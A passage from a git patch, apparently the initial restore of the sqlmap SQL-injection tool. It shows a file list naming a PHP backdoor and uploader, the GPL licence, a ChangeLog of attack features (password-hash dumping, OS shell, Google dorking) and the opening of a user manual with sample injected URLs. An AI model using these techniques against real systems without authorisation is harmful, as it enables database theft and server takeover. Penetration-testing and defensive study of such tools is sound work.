From 8e3eb4551091373b631462caf66448dd71ec61ef Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 15 Oct 2008 15:38:22 +0000 Subject: [PATCH] After the storm, a restore.. --- doc/AUTHORS | 7 + doc/COPYING | 340 +++ doc/ChangeLog | 229 ++ doc/README.html | 3264 +++++++++++++++++++++ doc/README.pdf | Bin 0 -> 284535 bytes doc/README.sgml | 3170 +++++++++++++++++++++ doc/THANKS | 117 + extra/msfauxmod/README | 74 + extra/msfauxmod/wmap_sqlmap.rb | 90 + lib/__init__.py | 25 + lib/contrib/__init__.py | 25 + lib/contrib/multipartpost.py | 97 + lib/controller/__init__.py | 25 + lib/controller/action.py | 126 + lib/controller/checks.py | 318 +++ lib/controller/controller.py | 242 ++ lib/controller/handler.py | 71 + lib/core/__init__.py | 25 + lib/core/agent.py | 385 +++ lib/core/common.py | 549 ++++ lib/core/convert.py | 82 + lib/core/data.py | 48 + lib/core/datatype.py | 77 + lib/core/dump.py | 307 ++ lib/core/exception.py | 109 + lib/core/option.py | 571 ++++ lib/core/optiondict.py | 95 + lib/core/progress.py | 111 + lib/core/readlineng.py | 94 + lib/core/session.py | 282 ++ lib/core/settings.py | 66 + lib/core/shell.py | 103 + lib/core/target.py | 218 ++ lib/core/unescaper.py | 40 + lib/core/update.py | 337 +++ lib/parse/__init__.py | 25 + lib/parse/banner.py | 104 + lib/parse/cmdline.py | 268 ++ lib/parse/configfile.py | 101 + lib/parse/html.py | 75 + lib/parse/queriesfile.py | 203 ++ lib/request/__init__.py | 25 + lib/request/basic.py | 81 + lib/request/connect.py | 228 ++ lib/request/inject.py | 377 +++ lib/request/proxy.py | 128 + lib/techniques/__init__.py | 25 + lib/techniques/inband/__init__.py | 25 + lib/techniques/inband/union/__init__.py | 25 + lib/techniques/inband/union/test.py | 114 + lib/techniques/inband/union/use.py | 154 + lib/techniques/inference/__init__.py | 25 + lib/techniques/inference/blind.py | 213 ++ lib/utils/__init__.py | 25 + lib/utils/fuzzer.py | 43 + lib/utils/google.py | 122 + lib/utils/parenthesis.py | 80 + lib/utils/resume.py | 184 ++ plugins/__init__.py | 25 + plugins/dbms/__init__.py | 25 + plugins/dbms/mssqlserver.py | 271 ++ plugins/dbms/mysql.py | 471 ++++ plugins/dbms/oracle.py | 196 ++ plugins/dbms/postgresql.py | 202 ++ plugins/generic/__init__.py | 25 + plugins/generic/enumeration.py | 1077 +++++++ plugins/generic/filesystem.py | 42 + plugins/generic/fingerprint.py | 58 + plugins/generic/takeover.py | 37 + shell/backdoor.php | 304 ++ shell/uploader.php | 12 + sqlmap.conf | 236 ++ sqlmap.py | 94 + txt/fuzz_vectors.txt | 51 + txt/user-agents.txt | 166 ++ xml/errors.xml | 62 + xml/mssql.xml | 3443 +++++++++++++++++++++++ xml/queries.xml | 194 ++ 78 files changed, 21360 insertions(+) create mode 100644 doc/AUTHORS create mode 100644 doc/COPYING create mode 100644 doc/ChangeLog create mode 100644 doc/README.html create mode 100644 doc/README.pdf create mode 100644 doc/README.sgml create mode 100644 doc/THANKS create mode 100644 extra/msfauxmod/README create mode 100644 extra/msfauxmod/wmap_sqlmap.rb create mode 100644 lib/__init__.py create mode 100644 lib/contrib/__init__.py create mode 100644 lib/contrib/multipartpost.py create mode 100644 lib/controller/__init__.py create mode 100644 lib/controller/action.py create mode 100644 lib/controller/checks.py create mode 100644 lib/controller/controller.py create mode 100644 lib/controller/handler.py create mode 100644 lib/core/__init__.py create mode 100644 lib/core/agent.py create mode 100644 lib/core/common.py create mode 100644 lib/core/convert.py create mode 100644 lib/core/data.py create mode 100644 lib/core/datatype.py create mode 100644 lib/core/dump.py create mode 100644 lib/core/exception.py create mode 100644 lib/core/option.py create mode 100644 lib/core/optiondict.py create mode 100644 lib/core/progress.py create mode 100644 lib/core/readlineng.py create mode 100644 lib/core/session.py create mode 100644 lib/core/settings.py create mode 100644 lib/core/shell.py create mode 100644 lib/core/target.py create mode 100644 lib/core/unescaper.py create mode 100644 lib/core/update.py create mode 100644 lib/parse/__init__.py create mode 100644 lib/parse/banner.py create mode 100644 lib/parse/cmdline.py create mode 100644 lib/parse/configfile.py create mode 100644 lib/parse/html.py create mode 100644 lib/parse/queriesfile.py create mode 100644 lib/request/__init__.py create mode 100644 lib/request/basic.py create mode 100644 lib/request/connect.py create mode 100644 lib/request/inject.py create mode 100644 lib/request/proxy.py create mode 100644 lib/techniques/__init__.py create mode 100644 lib/techniques/inband/__init__.py create mode 100644 lib/techniques/inband/union/__init__.py create mode 100644 lib/techniques/inband/union/test.py create mode 100644 lib/techniques/inband/union/use.py create mode 100644 lib/techniques/inference/__init__.py create mode 100644 lib/techniques/inference/blind.py create mode 100644 lib/utils/__init__.py create mode 100644 lib/utils/fuzzer.py create mode 100644 lib/utils/google.py create mode 100644 lib/utils/parenthesis.py create mode 100644 lib/utils/resume.py create mode 100644 plugins/__init__.py create mode 100644 plugins/dbms/__init__.py create mode 100644 plugins/dbms/mssqlserver.py create mode 100644 plugins/dbms/mysql.py create mode 100644 plugins/dbms/oracle.py create mode 100644 plugins/dbms/postgresql.py create mode 100644 plugins/generic/__init__.py create mode 100644 plugins/generic/enumeration.py create mode 100644 plugins/generic/filesystem.py create mode 100644 plugins/generic/fingerprint.py create mode 100644 plugins/generic/takeover.py create mode 100644 shell/backdoor.php create mode 100644 shell/uploader.php create mode 100644 sqlmap.conf create mode 100755 sqlmap.py create mode 100644 txt/fuzz_vectors.txt create mode 100644 txt/user-agents.txt create mode 100644 xml/errors.xml create mode 100644 xml/mssql.xml create mode 100644 xml/queries.xml diff --git a/doc/AUTHORS b/doc/AUTHORS new file mode 100644 index 000000000..b534c3e1f --- /dev/null +++ b/doc/AUTHORS @@ -0,0 +1,7 @@ +Bernardo Damele A. G. (inquis) - project leader, core developer + +PGP Key ID: 0x05F5A30F + +Daniele Bellucci (belch) - project founder, initial developer + +PGP Key ID: 0x9A0E8190 diff --git a/doc/COPYING b/doc/COPYING new file mode 100644 index 000000000..b8602677e --- /dev/null +++ b/doc/COPYING @@ -0,0 +1,340 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/doc/ChangeLog b/doc/ChangeLog new file mode 100644 index 000000000..526335202 --- /dev/null +++ b/doc/ChangeLog @@ -0,0 +1,229 @@ +sqlmap (0.6.1-1) stable; urgency=low + + * Major bug fix to blind SQL injection bisection algorithm to handle an + exception; + * Written a Metasploit 3 auxiliary module to run sqlmap; + * Implemented possibility to test for and inject also on LIKE + statements; + * Implemented --start and --stop options to set the first and the last + table entry to dump; + * Added non-interactive/batch-mode (--batch) option to make it easy to + wrap sqlmap in Metasploit and any other tool; + * Minor enhancement to save also the length of query output in the + session file when retrieving the query output length for ETA or for + resume purposes. TODO: fix for ETA + + -- Bernardo Damele A. G. Fri, 10 Oct 2008 10:00:00 +0100 + + +sqlmap (0.6-1) stable; urgency=low + + * Complete code refactor and many bugs fixed; + * Added multithreading support to set the maximum number of concurrent + HTTP requests; + * Implemented SQL shell (--sql-shell) functionality and fixed SQL query + (--sql-query, before called -e) to be able to run whatever SELECT + statement and get its output in both inband and blind SQL injection + attack; + * Added an option (--privileges) to retrieve DBMS users privileges, it + also notifies if the user is a DBMS administrator; + * Added support (-c) to read options from configuration file, an example + of valid INI file is sqlmap.conf and support (--save) to save command + line options on a configuration file; + * Created a function that updates the whole sqlmap to the latest stable + version available by running sqlmap with --update option; + * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) + installation binary packages; + * Created sqlmap .exe (Windows) portable executable; + * Save a lot of more information to the session file, useful when + resuming injection on the same target to not loose time on identifying + injection, UNION fields and back-end DBMS twice or more times; + * Improved automatic check for parenthesis when testing and forging SQL + query vector; + * Now it checks for SQL injection on all GET/POST/Cookie parameters then + it lets the user select which parameter to perform the injection on in + case that more than one is injectable; + * Implemented support for HTTPS requests over HTTP(S) proxy; + * Added a check to handle NULL or not available queries output; + * More entropy (randomStr() and randomInt() functions in + lib/core/common.py) in inband SQL injection concatenated query and in + AND condition checks; + * Improved XML files structure; + * Implemented the possibility to change the HTTP Referer header; + * Added support to resume from session file also when running with + inband SQL injection attack; + * Added an option (--os-shell) to execute operating system commands if + the back-end DBMS is MySQL, the web server has the PHP engine active + and permits write access on a directory within the document root; + * Added a check to assure that the provided string to match (--string) + is within the page content; + * Fixed various queries in XML file; + * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted + the library to parse it; + * Fixed password fetching function, mainly for Microsoft SQL Server and + reviewed the password hashes parsing function; + * Major bug fixed to avoid tracebacks when the testable parameter(s) is + dynamic, but not injectable; + * Enhanced logging system: added three more levels of verbosity to show + also HTTP sent and received traffic; + * Enhancement to handle Set-Cookie from target url and automatically + re-establish the Session when it expires; + * Added support to inject also on Set-Cookie parameters; + * Implemented TAB completion and command history on both --sql-shell and + --os-shell; + * Renamed some command line options; + * Added a conversion library; + * Added code schema and reminders for future developments; + * Added Copyright comment and $Id$ svn property to all Python files; + * Updated the command line layout and help messages; + * Updated some docstrings; + * Updated documentation files. + + -- Bernardo Damele A. G. Mon, 1 Sep 2008 10:00:00 +0100 + + +sqlmap (0.5-1) stable; urgency=low + + * Added support for Oracle database management system + * Extended inband SQL injection functionality (--union-use) to all + other possible queries since it only worked with -e and --file on + all DMBS plugins; + * Added support to extract database users password hash on Microsoft + SQL Server; + * Added a fuzzer function with the aim to parse HTML page looking + for standard database error messages consequently improving + database fingerprinting; + * Added support for SQL injection on HTTP Cookie and User-Agent headers; + * Reviewed HTTP request library (lib/request.py) to support the + extended inband SQL injection functionality. Splitted getValue() + into getInband() and getBlind(); + * Major enhancements in common library and added checkForBrackets() + method to check if the bracket(s) are needed to perform a UNION query + SQL injection attack; + * Implemented --dump-all functionality to dump entire DBMS data from + all databases tables; + * Added support to exclude DBMS system databases' when enumeration + tables and dumping their entries (--exclude-sysdbs); + * Implemented in Dump.dbTableValues() method the CSV file dumped data + automatic saving in csv/ folder by default; + * Added DB2, Informix and Sybase DBMS error messages and minor + improvements in xml/errors.xml; + * Major improvement in all three DBMS plugins so now sqlmap does not + get entire databases' tables structure when all of database/table/ + column are specified to be dumped; + * Important fixes in lib/option.py to make sqlmap properly work also + with python 2.5 and handle the CSV dump files creation work also + under Windows operating system, function __setCSVDir() and fixed + also in lib/dump.py; + * Minor enhancement in lib/injection.py to randomize the number + requested to test the presence of a SQL injection affected parameter + and implemented the possibilities to break (q) the for cycle when + using the google dork option (-g); + * Minor fix in lib/request.py to properly encode the url to request + in case the "fixed" part of the url has blank spaces; + * More minor layout enhancements in some libraries; + * Renamed DMBS plugins; + * Complete code refactoring, a lot of minor and some major fixes in + libraries, many minor improvements; + * Updated all documentation files. + + -- Bernardo Damele A. G. Sun, 4 Nov 2007 20:00:00 +0100 + + +sqlmap (0.4-1) stable; urgency=low + + * Added DBMS fingerprint based also upon HTML error messages parsing + defined in lib/parser.py which reads an XML file defining default + error messages for each supported DBMS; + * Added Microsoft SQL Server extensive DBMS fingerprint checks based + upon accurate '@@version' parsing matching on an XML file to get also + the exact patching level of the DBMS; + * Added support for query ETA (Estimated Time of Arrival) real time + calculation (--eta); + * Added support to extract database management system users password + hash on MySQL and PostgreSQL (--passwords); + * Added docstrings to all functions, classes and methods, consequently + released the sqlmap development documentation + ; + * Implemented Google dorking feature (-g) to take advantage of Google + results affected by SQL injection to perform other command line + argument on their DBMS; + * Improved logging functionality: passed from banal 'print' to Python + native logging library; + * Added support for more than one parameter in '-p' command line + option; + * Added support for HTTP Basic and Digest authentication methods + (--basic-auth and --digest-auth); + * Added the command line option '--remote-dbms' to manually specify + the remote DBMS; + * Major improvements in union.UnionCheck() and union.UnionUse() + functions to make it possible to exploit inband SQL injection also + with database comment characters ('--' and '#') in UNION SELECT + statements; + * Added the possibility to save the output into a file while performing + the queries (-o OUTPUTFILE) so it is possible to stop and resume the + same query output retrieving in a second time (--resume); + * Added support to specify the database table column to enumerate + (-C COL); + * Added inband SQL injection (UNION SELECT) support (--union-use); + * Complete code refactoring, a lot of minor and some major fixes in + libraries, many minor improvements; + * Reviewed the directory tree structure; + * Splitted lib/common.py: inband injection functionalities now are + moved to lib/union.py; + * Updated documentation files. + + -- Bernardo Damele A. G. Fri, 15 Jun 2007 20:00:00 +0100 + + +sqlmap (0.3-1) stable; urgency=low + + * Added module for MS SQL Server; + * Strongly improved MySQL dbms active fingerprint and added MySQL + comment injection check; + * Added PostgreSQL dbms active fingerprint; + * Added support for string match (--string); + * Added support for UNION check (--union-check); + * Removed duplicated code, delegated most of features to the engine + in common.py and option.py; + * Added support for --data command line argument to pass the string + for POST requests; + * Added encodeParams() method to encode url parameters before making + http request; + * Many bug fixes; + * Rewritten documentation files; + * Complete code restyling. + + -- Bernardo Damele A. G. Sat, 20 Jan 2007 20:00:00 +0100 + + +sqlmap (0.2-1) stable; urgency=low + + * complete refactor of entire program; + * added TODO and THANKS files; + * added some papers references in README file; + * moved headers to user-agents.txt, now -f parameter specifies a file + (user-agents.txt) and randomize the selection of User-Agent header; + * strongly improved program plugins (mysqlmap.py and postgres.py), + major enhancements: + * improved active mysql fingerprint check_dbms(); + * improved enumeration functions for both databases; + * minor changes in the unescape() functions; + * replaced old inference algorithm with a new bisection algorithm. + * reviewed command line parameters, now with -p it's possible to + specify the parameter you know it's vulnerable to sql injection, + this way the script won't perform the sql injection checks itself; + removed the TOKEN parameter; + * improved Common class, adding support for http proxy and http post + method in hash_page; + * added OptionCheck class in option.py which performs all needed checks + on command line parameters and values; + * added InjectionCheck class in injection.py which performs check on + url stability, dynamics of parameters and injection on dynamic url + parameters; + * improved output methods in dump.py; + * layout enhancement on main program file (sqlmap.py), adapted to call + new option/injection classes and improvements on catching of + exceptions. + + -- Bernardo Damele A. G. Wed, 13 Dec 2006 20:00:00 +0100 diff --git a/doc/README.html b/doc/README.html new file mode 100644 index 000000000..975925622 --- /dev/null +++ b/doc/README.html @@ -0,0 +1,3264 @@ + + + + + sqlmap user's manual + + +

sqlmap user's manual

+ +

by +Bernardo Damele A. G.

version 0.6, 1st of September 2008 +
+This document is the user's manual to use +sqlmap. +Check the project +homepage +for the latest version. +
+

+

1. Introduction

+ + +

+

2. Features

+ +

+

3. Download and update

+ +

+

4. License and copyright

+ +

+

5. Usage

+ + +

+

6. Disclaimer

+ +

+

7. Authors

+ + +
+

1. Introduction

+ +

sqlmap is an automatic +SQL injection tool. Its goal is to detect and take advantage of +SQL injection vulnerabilities on web applications. Once it detects one or +more SQL injections on the target host, the user can choose among a +variety of options to perform an extensive back-end database management +system fingerprint, retrieve DBMS session user and database, enumerate +users, password hashes, privileges, databases, dump entire or user's +specific DBMS tables/columns, run his own SQL SELECT statement, +read specific files on the file system and much more.

+ + +

1.1 Requirements +

+ +

sqlmap is developed in +Python, +a dynamic object-oriented interpreted programming language. +This makes the tool independent from the operating system since it only +requires the Python interpreter. +The interpreter is freely downloadable from its +official site. +To make it even easier, many GNU/Linux distributions come out of the box +with Python interpreter package installed and other Unices and MacOS X +too provide it packaged in their formats and ready to be installed. +Windows users can download and install the Python setup-ready installer +for x86, AMD64 and Itanium too.

+

Optionally, if you are running sqlmap on Windows, you may wish to install +PyReadline +to be able to take advantage of the sqlmap TAB completion and history +support functionalities in the SQL shell and OS shell. +Note that these functionalities are available natively by Python official +readline library on other operating systems.

+ + +

1.2 Scenario +

+ +

Let's say that you are auditing a web application and found a web page +that accepts dynamic user-provided values on GET or POST +parameters or HTTP Cookie values or HTTP User-Agent +header value. +You now want to test if these are affected by a SQL injection +vulnerability, and if so, exploit them to retrieve as much information as +possible out of the web application's back-end database management system +or even be able to access the underlying operating system.

+

Consider that the target url is:

+

+

+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +
+

+

Assume that:

+

+

+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2 +
+

+

is the same page as the original one and:

+

+

+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2 +
+

+

differs from the original one, it means that you are in front of a SQL +injection vulnerability in the id GET parameter of the +index.php web application page which means that no IDS/IPS, no +web application firewall, no parameters' value sanitization is performed +on the server-side.

+

This is a quite common flaw in dynamic content web applications and it +does not depend upon the back-end database management system nor on the web +application programming language: it is a programmer code's security flaw. +The +Open Web Application Security Project +recently rated in their +OWASP Top Ten survey this vulnerability as the +most common and important web application vulnerability, second only to +Cross-Site Scripting.

+

Back to the scenario, probably the SQL SELECT statemenet into +index.php has a syntax similar to the following SQL query, in +pseudo PHP code:

+

+

+$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; +
+

+

As you can see, appending any other syntatically valid SQL condition after +a value for id such condition will take place when the web +application passes the query to the back-end database management system +that executes it, that is why the condition id=1 AND 1=1 is valid +(True) and returns the same page as the original one, with the +same content and without showing any SQL error message.

+

Moreover, in this simple and easy to inject scenario it would be also +possible to append, not just one or more valid SQL condition(s), but also +stacked SQL queries, for instance something like [...]&id=1; +ANOTHER SQL QUERY--

+

Now that you found this SQL injection vulnerable parameter, you can +exploit it by manipulating the id parameter value in the HTTP +request.

+

There exist many +resources +on the Net explaining in depth how to prevent and how to exploit SQL +injection vulnerabilities and it is recommended to read them if you are +not familiar with the issue before going ahead with sqlmap.

+

Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +to sqlmap, the tool will automatically:

+

+

    +
  • Identify the vulnerable parameter(s) (id in this scenario);
  • +
  • Depending on the user's options, sqlmap uses the blind SQL +injection or the inband SQL injection technique as described +in the following section to go ahead with the exploiting.
  • +
+

+ + +

1.3 Techniques +

+ +

sqlmap implements two techniques to exploit a SQL injection vulnerability:

+

+

    +
  • Blind SQL injection, also known as inference SQL +injection: sqlmap appends to the affected parameter in the HTTP +request, a syntatically valid SQL statement string containing a +SELECT sub-statement, or any other SQL statement whose the user +want to retrieve the output. +For each HTTP response, by making a comparison based upon HTML page +content hashes, or string matches, with the original request, the tool +determines the output value of the statement character by character. +The bisection algorithm implemented in sqlmap to perform this technique +is able to fetch each output character with at maximum seven HTTP +requests. +This is sqlmap default SQL injection technique.
  • +
